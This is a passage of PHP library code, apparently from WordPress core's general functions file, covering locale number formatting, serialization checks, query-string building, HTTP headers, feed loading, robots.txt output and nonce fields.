// Match a format like 'j F Y' or 'j. F'
if ( @preg_match( '#^\d{1,2}\.? [^\d ]+#u', $date ) ) {
$months = $wp_locale->month;
$months_genitive = $wp_locale->month_genitive;
foreach ( $months as $key => $month ) {
$months[ $key ] = '# ' . $month . '( |$)#u';
}
foreach ( $months_genitive as $key => $month ) {
$months_genitive[ $key ] = ' ' . $month . '$1';
}
$date = preg_replace( $months, $months_genitive, $date );
}
}
// Used for locale-specific rules
$locale = get_locale();
if ( 'ca' === $locale ) {
// " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..."
$date = preg_replace( '# de ([ao])#i', " d'\\1", $date );
}
return $date;
}
/**
* Convert float number to format based on the locale.
*
* @since 2.3.0
*
* @global WP_Locale $wp_locale
*
* @param float $number The number to convert based on locale.
* @param int $decimals Optional. Precision of the number of decimal places. Default 0.
* @return string Converted number in string format.
*/
function number_format_i18n( $number, $decimals = 0 ) {
global $wp_locale;
if ( isset( $wp_locale ) ) {
$formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
} else {
$formatted = number_format( $number, absint( $decimals ) );
}
/**
* Filters the number formatted based on the locale.
*
* @since 2.8.0
* @since 4.9.0 The `$number` and `$decimals` arguments were added.
*
* @param string $formatted Converted number in string format.
* @param float $number The number to convert based on locale.
* @param int $decimals Precision of the number of decimal places.
*/
return apply_filters( 'number_format_i18n', $formatted, $number, $decimals );
}
/**
* Convert number of bytes largest unit bytes will fit into.
*
* It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts
* number of bytes to human readable number by taking the number of that unit
* that the bytes will go into it. Supports TB value.
*
* Please note that integers in PHP are limited to 32 bits, unless they are on
* 64 bit architecture, then they have 64 bit size. If you need to place the
* larger size then what PHP integer type will hold, then use a string. It will
* be converted to a double, which should always have 64 bit length.
*
* Technically the correct unit names for powers of 1024 are KiB, MiB etc.
*
* @since 2.3.0
*
* @param int|string $bytes Number of bytes. Note max integer size for integers.
* @param int $decimals Optional. Precision of number of decimal places. Default 0.
* @return string|false False on failure. Number string on success.
*/
function size_format( $bytes, $decimals = 0 ) {
$quant = array(
'TB' => TB_IN_BYTES,
'GB' => GB_IN_BYTES,
'MB' => MB_IN_BYTES,
'KB' => KB_IN_BYTES,
'B' => 1,
);
if ( 0 === $bytes ) {
return number_format_i18n( 0, $decimals ) . ' B';
}
foreach ( $quant as $unit => $mag ) {
if ( doubleval( $bytes ) >= $mag ) {
return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
}
}
return false;
}
/**
* Get the week start and end from the datetime or date string from MySQL.
*
* @since 0.71
*
* @param string $mysqlstring Date or datetime field type from MySQL.
* @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
* @return array Keys are 'start' and 'end'.
*/
function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
// MySQL string year.
$my = substr( $mysqlstring, 0, 4 );
// MySQL string month.
$mm = substr( $mysqlstring, 8, 2 );
// MySQL string day.
$md = substr( $mysqlstring, 5, 2 );
// The timestamp for MySQL string day.
$day = mktime( 0, 0, 0, $md, $mm, $my );
// The day of the week from the timestamp.
$weekday = date( 'w', $day );
if ( !is_numeric($start_of_week) )
$start_of_week = get_option( 'start_of_week' );
if ( $weekday < $start_of_week )
$weekday += 7;
// The most recent week start day on or before $day.
$start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );
// $start + 1 week - 1 second.
$end = $start + WEEK_IN_SECONDS - 1;
return compact( 'start', 'end' );
}
/**
* Unserialize value only if it was serialized.
*
* @since 2.0.0
*
* @param string $original Maybe unserialized original, if is needed.
* @return mixed Unserialized data can be any type.
*/
function maybe_unserialize( $original ) {
if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
return @unserialize( $original );
return $original;
}
/**
* Check value to find if it was serialized.
*
* If $data is not an string, then returned value will always be false.
* Serialized data is always a string.
*
* @since 2.0.5
*
* @param string $data Value to check to see if was serialized.
* @param bool $strict Optional. Whether to be strict about the end of the string. Default true.
* @return bool False if not serialized and true if it was.
*/
function is_serialized( $data, $strict = true ) {
// if it isn't a string, it isn't serialized.
if ( ! is_string( $data ) ) {
return false;
}
$data = trim( $data );
if ( 'N;' == $data ) {
return true;
}
if ( strlen( $data ) < 4 ) {
return false;
}
if ( ':' !== $data[1] ) {
return false;
}
if ( $strict ) {
$lastc = substr( $data, -1 );
if ( ';' !== $lastc && '}' !== $lastc ) {
return false;
}
} else {
$semicolon = strpos( $data, ';' );
$brace = strpos( $data, '}' );
// Either ; or } must exist.
if ( false === $semicolon && false === $brace )
return false;
// But neither must be in the first X characters.
if ( false !== $semicolon && $semicolon < 3 )
return false;
if ( false !== $brace && $brace < 4 )
return false;
}
$token = $data[0];
switch ( $token ) {
case 's' :
if ( $strict ) {
if ( '"' !== substr( $data, -2, 1 ) ) {
return false;
}
} elseif ( false === strpos( $data, '"' ) ) {
return false;
}
// or else fall through
case 'a' :
case 'O' :
return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
case 'b' :
case 'i' :
case 'd' :
$end = $strict ? '$' : '';
return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );
}
return false;
}
/**
* Check whether serialized data is of string type.
*
* @since 2.0.5
*
* @param string $data Serialized data.
* @return bool False if not a serialized string, true if it is.
*/
function is_serialized_string( $data ) {
// if it isn't a string, it isn't a serialized string.
if ( ! is_string( $data ) ) {
return false;
}
$data = trim( $data );
if ( strlen( $data ) < 4 ) {
return false;
} elseif ( ':' !== $data[1] ) {
return false;
} elseif ( ';' !== substr( $data, -1 ) ) {
return false;
} elseif ( $data[0] !== 's' ) {
return false;
} elseif ( '"' !== substr( $data, -2, 1 ) ) {
return false;
} else {
return true;
}
}
/**
* Serialize data, if needed.
*
* @since 2.0.5
*
* @param string|array|object $data Data that might be serialized.
* @return mixed A scalar data
*/
function maybe_serialize( $data ) {
if ( is_array( $data ) || is_object( $data ) )
return serialize( $data );
// Double serialization is required for backward compatibility.
// See https://core.trac.wordpress.org/ticket/12930
// Also the world will end. See WP 3.6.1.
if ( is_serialized( $data, false ) )
return serialize( $data );
return $data;
}
/**
* Retrieve post title from XMLRPC XML.
*
* If the title element is not part of the XML, then the default post title from
* the $post_default_title will be used instead.
*
* @since 0.71
*
* @global string $post_default_title Default XML-RPC post title.
*
* @param string $content XMLRPC XML Request content
* @return string Post title
*/
function xmlrpc_getposttitle( $content ) {
global $post_default_title;
if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
$post_title = $matchtitle[1];
} else {
$post_title = $post_default_title;
}
return $post_title;
}
/**
* Retrieve the post category or categories from XMLRPC XML.
*
* If the category element is not found, then the default post category will be
* used. The return type then would be what $post_default_category. If the
* category is found, then it will always be an array.
*
* @since 0.71
*
* @global string $post_default_category Default XML-RPC post category.
*
* @param string $content XMLRPC XML Request content
* @return string|array List of categories or category name.
*/
function xmlrpc_getpostcategory( $content ) {
global $post_default_category;
if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
$post_category = trim( $matchcat[1], ',' );
$post_category = explode( ',', $post_category );
} else {
$post_category = $post_default_category;
}
return $post_category;
}
/**
* XMLRPC XML content without title and category elements.
*
* @since 0.71
*
* @param string $content XML-RPC XML Request content.
* @return string XMLRPC XML Request content without title and category elements.
*/
function xmlrpc_removepostdata( $content ) {
$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
$content = trim( $content );
return $content;
}
/**
* Use RegEx to extract URLs from arbitrary content.
*
* @since 3.7.0
*
* @param string $content Content to extract URLs from.
* @return array URLs found in passed string.
*/
function wp_extract_urls( $content ) {
preg_match_all(
"#([\"']?)("
. "(?:([\w-]+:)?//?)"
. "[^\s()<>]+"
. "[.]"
. "(?:"
. "\([\w\d]+\)|"
. "(?:"
. "[^`!()\[\]{};:'\".,<>«»“”‘’\s]|"
. "(?:[:]\d+)?/?"
. ")+"
. ")"
. ")\\1#",
$content,
$post_links
);
$post_links = array_unique( array_map( 'html_entity_decode', $post_links[2] ) );
return array_values( $post_links );
}
/**
* Check content for video and audio links to add as enclosures.
*
* Will not add enclosures that have already been added and will
* remove enclosures that are no longer in the post. This is called as
* pingbacks and trackbacks.
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $content Post Content.
* @param int $post_ID Post ID.
*/
function do_enclose( $content, $post_ID ) {
global $wpdb;
//TODO: Tidy this ghetto code up and make the debug code optional
include_once( ABSPATH . WPINC . '/class-IXR.php' );
$post_links = array();
$pung = get_enclosed( $post_ID );
$post_links_temp = wp_extract_urls( $content );
foreach ( $pung as $link_test ) {
if ( ! in_array( $link_test, $post_links_temp ) ) { // link no longer in post
$mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $link_test ) . '%') );
foreach ( $mids as $mid )
delete_metadata_by_mid( 'post', $mid );
}
}
foreach ( (array) $post_links_temp as $link_test ) {
if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
$test = @parse_url( $link_test );
if ( false === $test )
continue;
if ( isset( $test['query'] ) )
$post_links[] = $link_test;
elseif ( isset($test['path']) && ( $test['path'] != '/' ) && ($test['path'] != '' ) )
$post_links[] = $link_test;
}
}
/**
* Filters the list of enclosure links before querying the database.
*
* Allows for the addition and/or removal of potential enclosures to save
* to postmeta before checking the database for existing enclosures.
*
* @since 4.4.0
*
* @param array $post_links An array of enclosure links.
* @param int $post_ID Post ID.
*/
$post_links = apply_filters( 'enclosure_links', $post_links, $post_ID );
foreach ( (array) $post_links as $url ) {
if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $url ) . '%' ) ) ) {
if ( $headers = wp_get_http_headers( $url) ) {
$len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
$type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
$allowed_types = array( 'video', 'audio' );
// Check to see if we can figure out the mime type from
// the extension
$url_parts = @parse_url( $url );
if ( false !== $url_parts ) {
$extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
if ( !empty( $extension ) ) {
foreach ( wp_get_mime_types() as $exts => $mime ) {
if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
$type = $mime;
break;
}
}
}
}
if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
}
}
}
}
}
/**
* Retrieve HTTP Headers from URL.
*
* @since 1.5.1
*
* @param string $url URL to retrieve HTTP headers from.
* @param bool $deprecated Not Used.
* @return bool|string False on failure, headers on success.
*/
function wp_get_http_headers( $url, $deprecated = false ) {
if ( !empty( $deprecated ) )
_deprecated_argument( __FUNCTION__, '2.7.0' );
$response = wp_safe_remote_head( $url );
if ( is_wp_error( $response ) )
return false;
return wp_remote_retrieve_headers( $response );
}
/**
* Determines whether the publish date of the current post in the loop is different
* from the publish date of the previous post in the loop.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 0.71
*
* @global string $currentday The day of the current post in the loop.
* @global string $previousday The day of the previous post in the loop.
*
* @return int 1 when new day, 0 if not a new day.
*/
function is_new_day() {
global $currentday, $previousday;
if ( $currentday != $previousday )
return 1;
else
return 0;
}
/**
* Build URL query based on an associative and, or indexed array.
*
* This is a convenient function for easily building url queries. It sets the
* separator to '&' and uses _http_build_query() function.
*
* @since 2.3.0
*
* @see _http_build_query() Used to build the query
* @link https://secure.php.net/manual/en/function.http-build-query.php for more on what
* http_build_query() does.
*
* @param array $data URL-encode key/value pairs.
* @return string URL-encoded string.
*/
function build_query( $data ) {
return _http_build_query( $data, null, '&', '', false );
}
/**
* From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
*
* @since 3.2.0
* @access private
*
* @see https://secure.php.net/manual/en/function.http-build-query.php
*
* @param array|object $data An array or object of data. Converted to array.
* @param string $prefix Optional. Numeric index. If set, start parameter numbering with it.
* Default null.
* @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'.
* Default null.
* @param string $key Optional. Used to prefix key name. Default empty.
* @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true.
*
* @return string The query string.
*/
function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
$ret = array();
foreach ( (array) $data as $k => $v ) {
if ( $urlencode)
$k = urlencode($k);
if ( is_int($k) && $prefix != null )
$k = $prefix.$k;
if ( !empty($key) )
$k = $key . '%5B' . $k . '%5D';
if ( $v === null )
continue;
elseif ( $v === false )
$v = '0';
if ( is_array($v) || is_object($v) )
array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
elseif ( $urlencode )
array_push($ret, $k.'='.urlencode($v));
else
array_push($ret, $k.'='.$v);
}
if ( null === $sep )
$sep = ini_get('arg_separator.output');
return implode($sep, $ret);
}
/**
* Retrieves a modified URL query string.
*
* You can rebuild the URL and append query variables to the URL query by using this function.
* There are two ways to use this function; either a single key and value, or an associative array.
*
* Using a single key and value:
*
* add_query_arg( 'key', 'value', 'http://example.com' );
*
* Using an associative array:
*
* add_query_arg( array(
* 'key1' => 'value1',
* 'key2' => 'value2',
* ), 'http://example.com' );
*
* Omitting the URL from either use results in the current URL being used
* (the value of `$_SERVER['REQUEST_URI']`).
*
* Values are expected to be encoded appropriately with urlencode() or rawurlencode().
*
* Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
*
* Important: The return value of add_query_arg() is not escaped by default. Output should be
* late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
* (XSS) attacks.
*
* @since 1.5.0
*
* @param string|array $key Either a query variable key, or an associative array of query variables.
* @param string $value Optional. Either a query variable value, or a URL to act upon.
* @param string $url Optional. A URL to act upon.
* @return string New URL query string (unescaped).
*/
function add_query_arg() {
$args = func_get_args();
if ( is_array( $args[0] ) ) {
if ( count( $args ) < 2 || false === $args[1] )
$uri = $_SERVER['REQUEST_URI'];
else
$uri = $args[1];
} else {
if ( count( $args ) < 3 || false === $args[2] )
$uri = $_SERVER['REQUEST_URI'];
else
$uri = $args[2];
}
if ( $frag = strstr( $uri, '#' ) )
$uri = substr( $uri, 0, -strlen( $frag ) );
else
$frag = '';
if ( 0 === stripos( $uri, 'http://' ) ) {
$protocol = 'http://';
$uri = substr( $uri, 7 );
} elseif ( 0 === stripos( $uri, 'https://' ) ) {
$protocol = 'https://';
$uri = substr( $uri, 8 );
} else {
$protocol = '';
}
if ( strpos( $uri, '?' ) !== false ) {
list( $base, $query ) = explode( '?', $uri, 2 );
$base .= '?';
} elseif ( $protocol || strpos( $uri, '=' ) === false ) {
$base = $uri . '?';
$query = '';
} else {
$base = '';
$query = $uri;
}
wp_parse_str( $query, $qs );
$qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
if ( is_array( $args[0] ) ) {
foreach ( $args[0] as $k => $v ) {
$qs[ $k ] = $v;
}
} else {
$qs[ $args[0] ] = $args[1];
}
foreach ( $qs as $k => $v ) {
if ( $v === false )
unset( $qs[$k] );
}
$ret = build_query( $qs );
$ret = trim( $ret, '?' );
$ret = preg_replace( '#=(&|$)#', '$1', $ret );
$ret = $protocol . $base . $ret . $frag;
$ret = rtrim( $ret, '?' );
return $ret;
}
/**
* Removes an item or items from a query string.
*
* @since 1.5.0
*
* @param string|array $key Query key or keys to remove.
* @param bool|string $query Optional. When false uses the current URL. Default false.
* @return string New URL query string.
*/
function remove_query_arg( $key, $query = false ) {
if ( is_array( $key ) ) { // removing multiple keys
foreach ( $key as $k )
$query = add_query_arg( $k, false, $query );
return $query;
}
return add_query_arg( $key, false, $query );
}
/**
* Returns an array of single-use query variable names that can be removed from a URL.
*
* @since 4.4.0
*
* @return array An array of parameters to remove from the URL.
*/
function wp_removable_query_args() {
$removable_query_args = array(
'activate',
'activated',
'approved',
'deactivate',
'deleted',
'disabled',
'enabled',
'error',
'hotkeys_highlight_first',
'hotkeys_highlight_last',
'locked',
'message',
'same',
'saved',
'settings-updated',
'skipped',
'spammed',
'trashed',
'unspammed',
'untrashed',
'update',
'updated',
'wp-post-new-reload',
);
/**
* Filters the list of query variables to remove.
*
* @since 4.2.0
*
* @param array $removable_query_args An array of query variables to remove from a URL.
*/
return apply_filters( 'removable_query_args', $removable_query_args );
}
/**
* Walks the array while sanitizing the contents.
*
* @since 0.71
*
* @param array $array Array to walk while sanitizing contents.
* @return array Sanitized $array.
*/
function add_magic_quotes( $array ) {
foreach ( (array) $array as $k => $v ) {
if ( is_array( $v ) ) {
$array[$k] = add_magic_quotes( $v );
} else {
$array[$k] = addslashes( $v );
}
}
return $array;
}
/**
* HTTP request for URI to retrieve content.
*
* @since 1.5.1
*
* @see wp_safe_remote_get()
*
* @param string $uri URI/URL of web page to retrieve.
* @return false|string HTTP content. False on failure.
*/
function wp_remote_fopen( $uri ) {
$parsed_url = @parse_url( $uri );
if ( !$parsed_url || !is_array( $parsed_url ) )
return false;
$options = array();
$options['timeout'] = 10;
$response = wp_safe_remote_get( $uri, $options );
if ( is_wp_error( $response ) )
return false;
return wp_remote_retrieve_body( $response );
}
/**
* Set up the WordPress query.
*
* @since 2.0.0
*
* @global WP $wp_locale
* @global WP_Query $wp_query
* @global WP_Query $wp_the_query
*
* @param string|array $query_vars Default WP_Query arguments.
*/
function wp( $query_vars = '' ) {
global $wp, $wp_query, $wp_the_query;
$wp->main( $query_vars );
if ( !isset($wp_the_query) )
$wp_the_query = $wp_query;
}
/**
* Retrieve the description for the HTTP status.
*
* @since 2.3.0
*
* @global array $wp_header_to_desc
*
* @param int $code HTTP status code.
* @return string Empty string if not found, or description if found.
*/
function get_status_header_desc( $code ) {
global $wp_header_to_desc;
$code = absint( $code );
if ( !isset( $wp_header_to_desc ) ) {
$wp_header_to_desc = array(
100 => 'Continue',
101 => 'Switching Protocols',
102 => 'Processing',
200 => 'OK',
201 => 'Created',
202 => 'Accepted',
203 => 'Non-Authoritative Information',
204 => 'No Content',
205 => 'Reset Content',
206 => 'Partial Content',
207 => 'Multi-Status',
226 => 'IM Used',
300 => 'Multiple Choices',
301 => 'Moved Permanently',
302 => 'Found',
303 => 'See Other',
304 => 'Not Modified',
305 => 'Use Proxy',
306 => 'Reserved',
307 => 'Temporary Redirect',
308 => 'Permanent Redirect',
400 => 'Bad Request',
401 => 'Unauthorized',
402 => 'Payment Required',
403 => 'Forbidden',
404 => 'Not Found',
405 => 'Method Not Allowed',
406 => 'Not Acceptable',
407 => 'Proxy Authentication Required',
408 => 'Request Timeout',
409 => 'Conflict',
410 => 'Gone',
411 => 'Length Required',
412 => 'Precondition Failed',
413 => 'Request Entity Too Large',
414 => 'Request-URI Too Long',
415 => 'Unsupported Media Type',
416 => 'Requested Range Not Satisfiable',
417 => 'Expectation Failed',
418 => 'I\'m a teapot',
421 => 'Misdirected Request',
422 => 'Unprocessable Entity',
423 => 'Locked',
424 => 'Failed Dependency',
426 => 'Upgrade Required',
428 => 'Precondition Required',
429 => 'Too Many Requests',
431 => 'Request Header Fields Too Large',
451 => 'Unavailable For Legal Reasons',
500 => 'Internal Server Error',
501 => 'Not Implemented',
502 => 'Bad Gateway',
503 => 'Service Unavailable',
504 => 'Gateway Timeout',
505 => 'HTTP Version Not Supported',
506 => 'Variant Also Negotiates',
507 => 'Insufficient Storage',
510 => 'Not Extended',
511 => 'Network Authentication Required',
);
}
if ( isset( $wp_header_to_desc[$code] ) )
return $wp_header_to_desc[$code];
else
return '';
}
/**
* Set HTTP status header.
*
* @since 2.0.0
* @since 4.4.0 Added the `$description` parameter.
*
* @see get_status_header_desc()
*
* @param int $code HTTP status code.
* @param string $description Optional. A custom description for the HTTP status.
*/
function status_header( $code, $description = '' ) {
if ( ! $description ) {
$description = get_status_header_desc( $code );
}
if ( empty( $description ) ) {
return;
}
$protocol = wp_get_server_protocol();
$status_header = "$protocol $code $description";
if ( function_exists( 'apply_filters' ) )
/**
* Filters an HTTP status header.
*
* @since 2.2.0
*
* @param string $status_header HTTP status header.
* @param int $code HTTP status code.
* @param string $description Description for the status code.
* @param string $protocol Server protocol.
*/
$status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
@header( $status_header, true, $code );
}
/**
* Get the header information to prevent caching.
*
* The several different headers cover the different ways cache prevention
* is handled by different browsers
*
* @since 2.8.0
*
* @return array The associative array of header names and field values.
*/
function wp_get_nocache_headers() {
$headers = array(
'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
);
if ( function_exists('apply_filters') ) {
/**
* Filters the cache-controlling headers.
*
* @since 2.8.0
*
* @see wp_get_nocache_headers()
*
* @param array $headers {
* Header names and field values.
*
* @type string $Expires Expires header.
* @type string $Cache-Control Cache-Control header.
* }
*/
$headers = (array) apply_filters( 'nocache_headers', $headers );
}
$headers['Last-Modified'] = false;
return $headers;
}
/**
* Set the headers to prevent caching for the different browsers.
*
* Different browsers support different nocache headers, so several
* headers must be sent so that all of them get the point that no
* caching should occur.
*
* @since 2.0.0
*
* @see wp_get_nocache_headers()
*/
function nocache_headers() {
$headers = wp_get_nocache_headers();
unset( $headers['Last-Modified'] );
// In PHP 5.3+, make sure we are not sending a Last-Modified header.
if ( function_exists( 'header_remove' ) ) {
@header_remove( 'Last-Modified' );
} else {
// In PHP 5.2, send an empty Last-Modified header, but only as a
// last resort to override a header already sent. #WP23021
foreach ( headers_list() as $header ) {
if ( 0 === stripos( $header, 'Last-Modified' ) ) {
$headers['Last-Modified'] = '';
break;
}
}
}
foreach ( $headers as $name => $field_value )
@header("{$name}: {$field_value}");
}
/**
* Set the headers for caching for 10 days with JavaScript content type.
*
* @since 2.1.0
*/
function cache_javascript_headers() {
$expiresOffset = 10 * DAY_IN_SECONDS;
header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
header( "Vary: Accept-Encoding" ); // Handle proxies
header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
}
/**
* Retrieve the number of database queries during the WordPress execution.
*
* @since 2.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return int Number of database queries.
*/
function get_num_queries() {
global $wpdb;
return $wpdb->num_queries;
}
/**
* Whether input is yes or no.
*
* Must be 'y' to be true.
*
* @since 1.0.0
*
* @param string $yn Character string containing either 'y' (yes) or 'n' (no).
* @return bool True if yes, false on anything else.
*/
function bool_from_yn( $yn ) {
return ( strtolower( $yn ) == 'y' );
}
/**
* Load the feed template from the use of an action hook.
*
* If the feed action does not have a hook, then the function will die with a
* message telling the visitor that the feed is not valid.
*
* It is better to only have one hook for each feed.
*
* @since 2.1.0
*
* @global WP_Query $wp_query Used to tell if the use a comment feed.
*/
function do_feed() {
global $wp_query;
$feed = get_query_var( 'feed' );
// Remove the pad, if present.
$feed = preg_replace( '/^_+/', '', $feed );
if ( $feed == '' || $feed == 'feed' )
$feed = get_default_feed();
if ( ! has_action( "do_feed_{$feed}" ) ) {
wp_die( __( 'ERROR: This is not a valid feed template.' ), '', array( 'response' => 404 ) );
}
/**
* Fires once the given feed is loaded.
*
* The dynamic portion of the hook name, `$feed`, refers to the feed template name.
* Possible values include: 'rdf', 'rss', 'rss2', and 'atom'.
*
* @since 2.1.0
* @since 4.4.0 The `$feed` parameter was added.
*
* @param bool $is_comment_feed Whether the feed is a comment feed.
* @param string $feed The feed name.
*/
do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed );
}
/**
* Load the RDF RSS 0.91 Feed template.
*
* @since 2.1.0
*
* @see load_template()
*/
function do_feed_rdf() {
load_template( ABSPATH . WPINC . '/feed-rdf.php' );
}
/**
* Load the RSS 1.0 Feed Template.
*
* @since 2.1.0
*
* @see load_template()
*/
function do_feed_rss() {
load_template( ABSPATH . WPINC . '/feed-rss.php' );
}
/**
* Load either the RSS2 comment feed or the RSS2 posts feed.
*
* @since 2.1.0
*
* @see load_template()
*
* @param bool $for_comments True for the comment feed, false for normal feed.
*/
function do_feed_rss2( $for_comments ) {
if ( $for_comments )
load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
else
load_template( ABSPATH . WPINC . '/feed-rss2.php' );
}
/**
* Load either Atom comment feed or Atom posts feed.
*
* @since 2.1.0
*
* @see load_template()
*
* @param bool $for_comments True for the comment feed, false for normal feed.
*/
function do_feed_atom( $for_comments ) {
if ($for_comments)
load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
else
load_template( ABSPATH . WPINC . '/feed-atom.php' );
}
/**
* Display the robots.txt file content.
*
* The echo content should be with usage of the permalinks or for creating the
* robots.txt file.
*
* @since 2.1.0
*/
function do_robots() {
header( 'Content-Type: text/plain; charset=utf-8' );
/**
* Fires when displaying the robots.txt file.
*
* @since 2.1.0
*/
do_action( 'do_robotstxt' );
$output = "User-agent: *\n";
$public = get_option( 'blog_public' );
if ( '0' == $public ) {
$output .= "Disallow: /\n";
} else {
$site_url = parse_url( site_url() );
$path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';
$output .= "Disallow: $path/wp-admin/\n";
$output .= "Allow: $path/wp-admin/admin-ajax.php\n";
}
/**
* Filters the robots.txt output.
*
* @since 3.0.0
*
* @param string $output Robots.txt output.
* @param bool $public Whether the site is considered "public".
*/
echo apply_filters( 'robots_txt', $output, $public );
}
/**
* Determines whether WordPress is already installed.
*
* The cache will be checked first. If you have a cache plugin, which saves
* the cache values, then this will work. If you use the default WordPress
* cache, and the database goes away, then you might have problems.
*
* Checks for the 'siteurl' option for whether WordPress is installed.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return bool Whether the site is already installed.
*/
function is_blog_installed() {
global $wpdb;
/*
* Check cache first. If options table goes away and we have true
* cached, oh well.
*/
if ( wp_cache_get( 'is_blog_installed' ) )
return true;
$suppress = $wpdb->suppress_errors();
if ( ! wp_installing() ) {
$alloptions = wp_load_alloptions();
}
// If siteurl is not set to autoload, check it specifically
if ( !isset( $alloptions['siteurl'] ) )
$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
else
$installed = $alloptions['siteurl'];
$wpdb->suppress_errors( $suppress );
$installed = !empty( $installed );
wp_cache_set( 'is_blog_installed', $installed );
if ( $installed )
return true;
// If visiting repair.php, return true and let it take over.
if ( defined( 'WP_REPAIRING' ) )
return true;
$suppress = $wpdb->suppress_errors();
/*
* Loop over the WP tables. If none exist, then scratch installation is allowed.
* If one or more exist, suggest table repair since we got here because the
* options table could not be accessed.
*/
$wp_tables = $wpdb->tables();
foreach ( $wp_tables as $table ) {
// The existence of custom user tables shouldn't suggest an insane state or prevent a clean installation.
if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )
continue;
if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )
continue;
if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )
continue;
// One or more tables exist. We are insane.
wp_load_translations_early();
// Die with a DB error.
$wpdb->error = sprintf(
/* translators: %s: database repair URL */
__( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ),
'maint/repair.php?referrer=is_blog_installed'
);
dead_db();
}
$wpdb->suppress_errors( $suppress );
wp_cache_set( 'is_blog_installed', false );
return false;
}
/**
* Retrieve URL with nonce added to URL query.
*
* @since 2.0.4
*
* @param string $actionurl URL to add nonce action.
* @param int|string $action Optional. Nonce action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @return string Escaped URL with nonce action added.
*/
function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
$actionurl = str_replace( '&', '&', $actionurl );
return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
}
/**
* Retrieve or display nonce hidden field for forms.
*
* The nonce field is used to validate that the contents of the form came from
* the location on the current site and not somewhere else. The nonce does not
* offer absolute protection, but should protect against most cases. It is very
* important to use nonce field in forms.
*
* The $action and $name are optional, but if you want to have better security,
* it is strongly suggested to set those two parameters. It is easier to just
* call the function without any parameters, because validation of the nonce
* doesn't require any parameters, but since crackers know what the default is
* it won't be difficult for them to find a way around your nonce and cause
* damage.
*
* The input name will be whatever $name value you gave. The input value will be
* the nonce creation value.
*
* @since 2.0.4
*
* @param int|string $action Optional. Action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @param bool $referer Optional. Whether to set the referer field for validation. Default true.
* @param bool $echo Optional. Whether to display or return hidden form field. Default true.
* @return string Nonce field HTML markup.
*/
function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
$name = esc_attr( $name );
$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
if ( $referer )
$nonce_field .= wp_referer_field( false );
if ( $echo )
echo $nonce_field;
return $nonce_field;
}
/**
* Retrieve or display referer hidden field for forms.
*
* The referer link is the current Request URI from the server super global. The
* input name is '_wp_http_referer', in case you wanted to check manually.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo or return the referer field. Default true.
* @return string Referer field HTML markup.
*/
function wp_referer_field( $echo = true ) {
